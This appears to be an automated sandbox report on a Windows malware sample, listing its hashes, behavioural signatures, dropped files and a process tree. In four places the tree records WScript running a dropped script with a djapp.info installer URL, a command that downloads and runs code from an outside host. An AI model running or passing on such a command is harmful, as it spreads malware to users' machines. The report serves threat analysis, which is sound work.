Analysis

  • max time kernel
    138s
  • max time network
    194s
  • platform
    windows7_x64
  • resource
    win7-20221111-en
  • resource tags

    arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
  • submitted
    24/11/2022, 02:21

General

  • Target

    ac1667982c292fae2bc3807c4f8881c0a9fd65915bdccd0eed5d60fe2c3bfee2.exe

  • Size

    184KB

  • MD5

    82e69831d027d32098369af1c60ea402

  • SHA1

    c888b9600c8634ab54b182bf4efd753d1108ce5b

  • SHA256

    ac1667982c292fae2bc3807c4f8881c0a9fd65915bdccd0eed5d60fe2c3bfee2

  • SHA512

    9b95a2c8999348e939de07bd1ca25c7db19d50059a05d1f5a8994e6a5458797046b7eef45b4a6f8490673b3fe69d8bff42fa5b694e7f03c17a0b72f5346be7b0

  • SSDEEP

    3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3Z:/7BSH8zUB+nGESaaRvoB7FJNndnM

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 12 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies system certificate store 2 TTPs 3 IoCs
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ac1667982c292fae2bc3807c4f8881c0a9fd65915bdccd0eed5d60fe2c3bfee2.exe
    "C:\Users\Admin\AppData\Local\Temp\ac1667982c292fae2bc3807c4f8881c0a9fd65915bdccd0eed5d60fe2c3bfee2.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2036
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufBD09.js" http://www.djapp.info/?domain=eoSQFmVWdk.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyy C:\Users\Admin\AppData\Local\Temp\fufBD09.exe
      2⤵
      • Blocklisted process makes network request
      • Modifies system certificate store
      PID:952
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufBD09.js" http://www.djapp.info/?domain=eoSQFmVWdk.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyy C:\Users\Admin\AppData\Local\Temp\fufBD09.exe
      2⤵
      • Blocklisted process makes network request
      PID:1304
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufBD09.js" http://www.djapp.info/?domain=eoSQFmVWdk.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyy C:\Users\Admin\AppData\Local\Temp\fufBD09.exe
      2⤵
      • Blocklisted process makes network request
      PID:960
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufBD09.js" http://www.djapp.info/?domain=eoSQFmVWdk.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyy C:\Users\Admin\AppData\Local\Temp\fufBD09.exe
      2⤵
      • Blocklisted process makes network request
      PID:1864

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\fufBD09.js

    Filesize

    3KB

    MD5

    3813cab188d1de6f92f8b82c2059991b

    SHA1

    4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

    SHA256

    a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

    SHA512

    83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\FYU4302Z.txt

    Filesize

    99B

    MD5

    856ba8d4760080fa8d2e7c424d265937

    SHA1

    711ffeed455ce975164ba848c4cb66e5a3aada9e

    SHA256

    8d45293ff52ddd26bd3356453c9ee524d0fedcadb5bf5e9585d416cdd86db9b1

    SHA512

    05085df5111f7f9d595b3d9a2d132b879845f1839cfcbaf88a1a47f8ba5805bd8165186f0c70d199ee51851cf5db76d15f6b8c9b36add345bcadd6daf6ea086c

  • memory/2036-54-0x0000000075631000-0x0000000075633000-memory.dmp

    Filesize

    8KB